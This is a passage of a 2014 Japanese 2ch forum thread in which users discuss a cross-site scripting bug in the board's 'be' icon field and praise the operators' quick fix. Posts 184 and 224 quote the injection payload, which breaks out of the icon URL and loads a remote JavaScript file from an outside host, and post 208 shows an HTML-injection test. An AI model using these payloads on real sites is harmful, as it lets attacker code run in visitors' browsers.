忍とジェンヌみたいな関係じゃないの?
173番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:20:14.34 ID:GtmxlXO50
たらこ追放の恩恵はデカイ!!
174番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:20:31.97 ID:55/rptDa0
>>166
あひるが一人で提出して変えた
一覧TOPだとサニタイズされないのか
>>172
普通に接してればわかるが

性格?
177番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:27:12.79 ID:QdrPZdy50
beの画像のidって変更できるの?
178番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:34:10.15 ID:z+MUwFZ00
とりあえずbeアイコンの部分にスクリプト仕込めるバグがあったのはわかったんだけど
online/offlineって何のこと?
あとこのスレ立てたの誰?
179番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:40:05.37 ID:M0H0Vdoz0
旧運営だったらまだ対応してないな
対応するかも怪しい
180番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:40:25.19 ID:STw0ox350
>>178
嫌儲には明らかにヤバい奴が偶に立てる
181番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:41:09.49 ID:jp+JsMwf0
>>64
素晴らしい
ミスは誰にでもあるけど、早い対応は誰でも出来る訳じゃない
182番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:44:49.38 ID:QdrPZdy50
だからどうやってスクリプト埋め込んだの?
アイコンのIDみたいな値って変更できるの?
183番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:45:37.90 ID:B+2b8ag10
>>180
さっしーえっちの時もだっけ?
忍者がおるんかな
184番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:46:54.14 ID:Vb8OVALG0
a=document.cre">ateElement("script");a.async=true;a.src="h"+"ttp://up.sussiweb.com/up/img/1201.js";b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);
185番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:47:55.11 ID:2LEV/gn+0
>>183
さっしーはともかく
こういう無料デバッガーやるのは東日本かモペキチ
186番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:48:55.18 ID:STw0ox350
>>185
あいつらまだいんの?
モペキチとか懐かしいな
188番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:51:25.22 ID:2LEV/gn+0
>>186
脆弱性スレはいつもまず嫌儲に立つでしょ
189番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:51:52.19 ID:Vb8OVALG0
スクリプト発動しないじゃん
190番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:53:19.59 ID:Y4HsR/M+0
パズルを解くようだな
やっべえええええええええええええええええええええええ
192番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:55:14.21 ID:PC6qkPhl0
>>186
こういうのは全部嫌儲発だし常駐してそう
193番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:55:18.13 ID:4sV0yt200
こういう無料デバッガーありがたいよな
本当に悪意のあるクラッカーは何も報告せずに仕込むからな
194番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 21:59:15.45 ID:PgHVjQRn0
ひろゆきはモペキチを雇って2chを攻撃する気やな
>>194
そんなことしたら自分とこの掲示板ぶっ壊されて終わりでしょ
.js
…イケナイ香りがする
197番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:03:50.85 ID:Kltvx9rwi
>>195
モペキチなら3つとも全部壊してくれる
198番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:06:11.94 ID:PgHVjQRn0
>>195
ひろゆきはハッカーを雇う金あるけど
JIMは金ないからなぁ
199番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:06:22.86 ID:iA1ViLIs0
スマホがぶっこわれた

Continue押したらどうなんのこれ?
なおっちゃった?
201番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:08:01.89 ID:naQ6VYq+0
掲示板潰すのにハックなんていらんでしょ
唐澤弁護士の指先一つでボン、よ
202番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:09:41.86 ID:JSuZxrO00
jim早い、速いよ
203番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:10:34.51 ID:UeVaUaJF0
unix板の奴らが直してくれるでしょ(ホジホジ
204番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:12:12.13 ID:RhahdoigO
>>197
その展開希望w
205番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:21:28.61 ID:QdrPZdy50
206番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:22:18.91 ID:afuX3GD70
Jim「西村ひろゆきさんには、法的対応を検討せざるをえません」 4
http://maguro.2ch.net/test/read.cgi/poverty/1396576228/
207番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:29:08.67 ID:QdrPZdy50
208番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:31:26.04 ID:QdrPZdy50
http://img.2ch.net/ico/"><br />aa<br /><strong>うんこ</strong>
209C ◆Odemonkey. @Code Monkey ★:2014/04/05(土) 22:47:52.02 ID:???0 BE:847328605-2BP(1000)

>>208
Does that actually work?
210番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:50:03.13 ID:B+2b8ag10
>>197
ありえる
211番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 22:59:50.74 ID:4FGQZAhO0
モペキチはTカラに潜んでる気がしてならない
なんJの殻をかぶったモペキチが
212番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:00:51.10 ID:4U+aeixx0
普通専ブラ使うからこういうの無意味じゃね
213番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:01:01.72 ID:Kltvx9rwi
>>211
復興くんとかばら撒いてそうだな
214番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:01:18.08 ID:2zLIvwT80
モペキチは自分の手は汚さないタイプ
バズーカだけ組み立てて、使いたい奴の目の前に置いてくるだけ
>>212
確かに、テキストベースでとってきたものにこれ影響あるのだろうか?
216番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:04:36.25 ID:QdrPZdy50
>>209
Is okay maybe
217番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:04:53.00 ID:1sqSl+L20
スクリプトが2getするのもなんらかのマーカーなんだろうな
2getするスレとしないスレがあるし
218番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:07:30.99 ID:4U+aeixx0
ie6で開いたが何も起こらない件
219番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:08:13.71 ID:1eX2X6N90
>>64
good job
we love you
>>218
腐ったミルクことIE6を使用するテスターの鑑
221番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:13:53.43 ID:FSRvQacb0
IE6〜IE11まで全部テストできるよ

Cross-browser testing simplified | Internet Explorer の検証がより簡単に | modern.IE
http://loc.modern.ie/ja-jp/virtualization-tools#downloads
222番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:17:27.91 ID:4U+aeixx0
>>220
ie6死んでもまだie7さんが控えてるからな
まあvistaだから絶対数少なくて被害もそれなりだけど

ちなie7でも何も起きない件

>>221
ほんとこれ

ほっとくといつの間にか期限切れでログインできなくなるからスクリーンセーバoffにして
vmの電源切らずに状態保存しとくと吉

linuxとかでプリンタドライバとか無いときにこいつらとgsprintとredmonがあれば
なんちゃってpsプリンタ作れるしいろいろと便利だは
223番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:20:19.48 ID:t6VMRvQ80
>>64
i like penis
my anal is good
224番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:24:58.99 ID:fWiBCrZc0 BE:445972832-2BP(3516)

http://img.2ch.net/ico/">a=document.createElement("script");a.async=true;a.src="h"+"ttp://up.sussiweb.com/up/img/1200.js";b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);
>>1にあったこれが削除されたな
有能
うざくてもぼきをわすれないでね
のかまってちゃんか
226番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:31:48.03 ID:03nljXcP0
>>64
この対応の早さよ
227番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:32:12.23 ID:oNVj7QfQO
>>64
Please say "chaaaa syuuuuu meeeeeen"
(ヽ´ん`)
228番組の途中ですがアフィサイトへの転載は禁止です:2014/04/05(土) 23:53:56.79 ID:kgMvMtyX0
>>226
有能過ぎるな

たらこなんかについてくやつなんて居ないだろjk
229 忍法帖【Lv=8,xxxP】(1+0:8) :2014/04/06(日) 00:10:41.42 ID:e6i43tlF0 BE:352483757-2BP(1000)

>>1
KD106158193219.ppp-bb.dion.ne.jp
昔、トップに見えない極小フレーム入れてホリエモンのあばずれ秘書の日記ブログのアクセス稼いでたのは何の目的があったんだよ?
今時XSSなんて潰せてない時点で有能も糞もないだろ
232番組の途中ですがアフィサイトへの転載は禁止です:2014/04/06(日) 02:14:01.63 ID:skn4Qjv80
>>231
そうだけど旧運営ならこの程度でもまだ放置
嫌儲にスレ立ってすぐ潰しにかかっただけマシだわ
(旧運営と比べて)有能ってことやからな
233番組の途中ですがアフィサイトへの転載は禁止です:2014/04/06(日) 02:18:33.21 ID:WEIBDCiA0
なんや直されたんか
気づくの遅れて遊べんかったわ糞が
234番組の途中ですがアフィサイトへの転載は禁止です:2014/04/06(日) 02:18:39.35 ID:ozXc7ya70
ジムニキの対応が普通のウェブサービスみたいな早さで
2chってこんなところだったっけ・っと妙な気持ちになる
>>64
凄すぎワラタ
ジムじゃなかった、コードモンキーか
たらこは取り返すとかいいつつ変なドメイン取って新しい2ch作ろうとしてるし取り返す気ないよね
たらこちゃんねるもオープンもアフィの巣窟で一年ももたんだろうな
>214
それ、東日本。
東日本がバズーカをこれ見よがしに放置して、それをあきら君が使うと。